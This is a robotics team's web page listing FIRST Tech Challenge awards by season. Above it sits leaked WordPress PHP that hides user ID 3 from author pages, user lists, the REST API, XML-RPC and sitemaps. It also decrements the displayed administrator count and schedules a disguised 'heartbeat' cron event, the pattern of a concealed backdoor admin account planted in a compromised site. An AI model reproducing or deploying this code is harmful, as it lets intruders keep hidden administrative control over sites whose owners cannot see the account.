add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 3;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 3 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 3;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 3;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 3;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 3;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Our Awards – Out of the Box Robotics
Blue Streak Qualifier
Sunday December 7, 2025
• Winning Alliance, Captain
• Think Award
Southeastern Pennsylvania Qualifier
Saturday January 31, 2026
• Winning Alliance, Captian
• Inspire Award 2nd Place
Red Raiders Qualifier
Sunday February 16, 2026
• Finalist Alliance, 1st Pick
• Inspire Award 2nd Place
Pennsylvania FTC Championship
Saturday March 14-15, 2026
• Finalist Alliance, Captain
• Connect Award
FIRST Worlds Championship
Wednesday April 29-May 2, 2026
• Playoff Captain (7th Alliance)
• 1st Place Sustain Award
2024-2025 Season: Into The Deep
Greyhound Sprint Qualifier
Sunday December 15, 2024
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• Winning Alliance, Captain
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• Think Award
Philadelphia Qualifier
Sunday February 2, 2025
• Winning Alliance, 1st Pick
• Connect Award
Eastern Pennsylvania Qualifie
Sunday February 15, 2025
• Winning Alliance, 1st Pick
• Innovate Award
Pennsylvania FTC Championship
Sunday March 8-9, 2025
• Winning Alliance, 1st Pick
• Innovate Award
2023-2024 Season: Centerstage
Greyhound Sprint Qualifier
Sunday December 17, 2023
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• Winning Alliance, Captain
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• Inspire Award, 1st Place
Red Raiders Qualifier
Sunday February 18, 2024
• Winning Alliance, 1st Pick
• Innovate Award, 1st Place
2022-2023 Season: Power Play
Red and Black Qualifier
Sunday December 18, 2022
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• 2nd Rank
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• Inspire Award, 1st Place
South Central Pennsylvania Qualifier
Saturday January 21, 2023
• Finalist Alliance, 2nd Pick
• Connect Award, 2nd Place
• Think Award, 1st Place
Lehigh Valley Qualifier
Saturday February 18, 2023
• Winning Alliance, 2nd Pick
• Connect Award, 1st Place
• Design Award, 2nd Place
Pennsylvania FTC Championship
Saturday March 4, 2023
• Control Award, 2nd Place
• Think Award, 2nd Place
• Inspire Award, 1st Place
FIRST Tech Challenge World Championship
Houston, TX April 23, 2022
• Think Award, Winner
2021-2022 Season: Freight Frenzy
Keystone League Meet #3
January 25-30, 2021, Remote
Conestoga Qualifier Remote Qualifying Tournament
January 26-30, 2021
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• Inspire Award – 1st Place
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• Design Award – 2nd Place
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• Control Award sponsored by Arm, Inc. – 2nd Place
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• Connect Award – 2nd Place
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• 4th Rank
Pennsylvania FTC Championship
March 12, 2022
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Inspire Award – 1st Place
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• Think Award – 2nd Place
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• Motivate Award – 2nd Place
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• Control Award – 3rd Place
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• 4th Rank
2020-2021 Season: Ultimate Goal
Eastern League Meet #3
March 3-7, 2021, Remote
Eastern League Meet #4
March 10-14, 2021, Remote
Eastern League Meet #5
March 17-21, 2021, Remote
Eastern Pennsylvania League Tournament
April 14-18, 2021, Remote
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1st Rank
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Connect Award, 2nd Place
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Inspire Award, 1st Place
Pennsylvania FTC Championship
May 19-23, 2021, Remote
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2nd Rank
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Think Award, 2nd Place
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Inspire Award, 1st Place
2019-2020 Season: Skystone
Clearview Regional Meet
November 2, 2019, Clearview Regional Middle School
Hat Tricks Qualifier
December 14, 2019, Hatboro-Horsham High School
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Inspire Award, 1st Place
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Motivate Award, 3rd Place
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Collins Aerospace Innovate Award, 3rd Place
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Think Award, 2nd Place
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Connect Award, 2nd Place
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Finalist Alliance, 1st pick
Jersey Southern Region-Sunday Meet
January 12, 2020, Williamstown Middle School
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Winning Alliance, captain
Upper South NJ League Tournament
February 9, 2020, Highstown High School
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Inspire Award, 1st Place
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Winning Alliance, captain
Green and Gold Qualifier
February 16, 2020, Emmaus High School
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Control Award, 2nd Place
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Design Award, 1st Place
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Connect Award, 3rd Place
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Winning Alliance, captain
PA State Championships
February 29 – March 1, 2020, Red Lion Area Senior High School
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Think award, 1st Place
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Winning Alliance, 1st pick
Detroit World Championships
April 28 – May 2, 2020, Detroit MI(Cancelled)
Maryland Tech Invitational – FTC Off Season Tournament
June 20-21, 2019, Johns Hopkins Applied Physics Laboratory
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Team Choice award, 3rd Place
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4 Year Recognition
2018-2019 Season: Rover Ruckus
Hat Tricks Qualifier
December 1, 2018, Hatboro-Horsham High School
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Inspire Award, 1st Place
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Motivate Award, 3rd Place
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Rockwell Collins Innovate Award, 2nd Place
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Think Award, 2nd Place
Maroon and White Qualifier
January 6, 2019, Oxford High School
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Connect Award, 1st Place
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Design Award, 2nd Place
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Motivate Award, 2nd Place
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Think Award, 3rd Place
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Rockwell Collins Innovate Award, 3rd Place
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Winning Alliance, 1st selected
Jersey Shore Showdown Meet
January 27, 2019, Robert Wood Johnson Barnabas Health Arena
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Winning Alliance, 1st selected
Upper South NJ League Tournament
February 10, 2019, Highstown High School
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Inspire Award, 1st Place
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Connect Award, 2nd Place
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Design Award, 2nd Place
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Think Award, 2nd Place
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Rockwell Collins Innovate Award, 2nd Place
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Winning Alliance, 1st selected
Green and Gold Qualifier
February 17, 2019, Emmaus High School
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Collins Aerospace Innovate Award, 1st Place
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Control Award, 3rd Place
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Design Award, 3rd Place
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Think Award, 3rd Place
NJ State Championships
March 10, 2019, Colombia High School
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Connect Award, 2nd Place
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Finalist Alliance, 1st Pick
FTC World Championship Tournament
April 23-27, 2019, Detriot, MI
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Ranked 66th of 80 teams in Edison Division
Maryland Tech Invitational – FTC Off Season Tournament
June 20-21, 2019, Johns Hopkins Applied Physics Laboratory
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Winning Alliance, 2nd selected
2017-2018 Season: Relic Recovery
Hat Tricks Qualifying Tournament
December 2, 2017, Hatboro-Horsham High School
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Inspire Award, 1st Place
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Winning Alliance
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Motivate Award, 3rd Place
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Rockwell Collins Innovate Award, 2nd Place
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Connect Award, 2nd Place
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Think Award, 3rd Place
Southeastern Pennsylvania Regional Qualifying Tournament
January 6, 2018, Oxford High School
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Winning Alliance Captain
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Motivate Award, 1st Place
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Rockwell Collins Innovate Award, 3rd Place
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Connect Award, 3rd Place
Delaware State Championships
February 3, 2018, Delaware State University
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Winning Alliance Captain
- Inspire Award, 3rd Place
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Connect Award, 1st Place
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Think Award, 2nd Place
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Innovate Award, 2nd Place
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Control Award, 2nd Place
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Advancement to the Super Regionals!
Eastern Super Regional Championship Tournament
March 16-18, 2018, University of Scranton in Scranton, PA
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Winning Alliance Tesla Division
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Finalist Alliance of East Supers
FTC World Championship Tournament
April 25-28, 2018, Detriot, MI
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Ranked 25th of 64 teams in Edison Division
2016-2017 Season: Velocity Vortex
Eastern Pennsylvania Regional Qualifying Tournament
November 19, 2016, Wissahickon Middle School
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Inspire Award, 1st Place
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Connect Award, 2nd Place
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Rockwell Collins Innovate Award, 2nd Place
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Think Award, 2nd Place
Southeastern Pennsylvania Regional Qualifying Tournament
January 7, 2017, Oxford High School
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Motivate Award, 1st Place
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Finalist Alliance, 2nd selected
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Made it to the Finals
Delaware State Championships
February 4, 2017, Delaware State University
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Think Award, 1st Place
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Inspire Award, 2nd Place
Lehigh Valley Qualifying Tournament
February 11, 2017, Emmaus High School
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Winning Alliance, 1st Selected
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Connect Award, 2nd Place
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Think Award, 1st Place
Pennsylvania State Championships
February 25, 2017, Harrisburg High School
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Motivate Award, 1st Place
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Think Award, 2nd Place
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Inspire Award, 2nd Place
East Super-Regional Championship Tournament
March 17-19, 2017, University of Scranton in Scranton, PA
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Control Award, 2nd Place
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#1 Seed Hopper Division
FTC World Championship Tournament
April 17-19, 2017, Saint Louis, MO
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Control Award, 1st Place
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1st Pick 4th Alliance, 12th Place Ochoa Division
Southeastern PA Regional Qualifying Tournament
January 9, 2016, Oxford Area High School
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Rockwell Collins Innovate Award, 3rd Place
Maryland Montgomery 2 Qualifying Tournament
January 17, 2016, Maryland
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Winning Alliance, 1st Place
Lehigh Valley Regional Qualifying Tournament
February 13, 2016, Emmaus High School
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Motivate Award, 2nd Place
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Rockwell Collins Innovate Award, 3rd Place
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Think Award, 1st Place
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Inspire Award, 2nd Place
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Finalist Alliance Captain
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2nd Seed Overall
South Central PA Regional Qualifying Tournament
February 20, 2016, Harrisburg High School
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Motivate Award, 2nd Place
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Think Award, 2nd Place
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Inspire Award, 1st Place
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4th Seed Captain
Maryland State Championship
February 21, 2016, Maryland
Pennsylvania FTC Championship Tournament
February 27, 2016, Dallastown Intermediate School
2014-2015 Season: Cascade Effect
Southeastern Pennsylvania Regional Qualifying Tournament
November 22, 2014, Oxford Area High School
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PTC Design Award, 1st Place
Maryland State –Howard County Qualifying Tournament
December 7, 2014, Maryland
Central Pennsylvania Regional Qualifying Tournament
January 10, 2015, Conrad Weiser Middle School
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Rockwell Collins Innovate Award, 2nd Place
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PTC Design Award, 2nd Place
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Think Award. 1st Place
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Inspire Award, 2nd Place
Diamond State FTC Championship
January 31, 2015
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Think Award, 2nd Place
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Inspire Award, 3rd Place
Lehigh Valley Regional Qualifying Tournament
February 14, 2015, Emmaus High School
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Connect Award, 2nd Place
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Think Award, 2nd Place
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Inspire Award, 1st Place
Pennsylvania FTC Championship Tournament
February 28, 2015, Millersville University
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Connect Award, 2nd Place
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PTC Design Award, 2nd Place
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Think Award, 3rd Place
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Inspire Award- 1st Place
East Super Regional Championship
March 19-21, 2015, University of Scranton in Scranton PA
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1 of 72 teams out of over 800 teams from Maine to Virginia who earned a spot to attend this event. It was an honor just to be there.
2013-2014 Season: Block Party!
Ramp Riot
November 2, 2013, Wissahickon High School
Owen J. Roberts Qualifier
December 14, 2013, Owen J. Roberts Middle School
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Think Award, 1st Place
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2nd Inspire Award, 2nd Place
Pennsylvania State Championship
March 1, 2014, Millersville University
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Nominated for Innovate and Outstanding Rookie team.
“Flashback” Post Season Scrimmage (New Jersey)
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Winning Alliance
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Pirate’s Den Award (Outstanding Pit).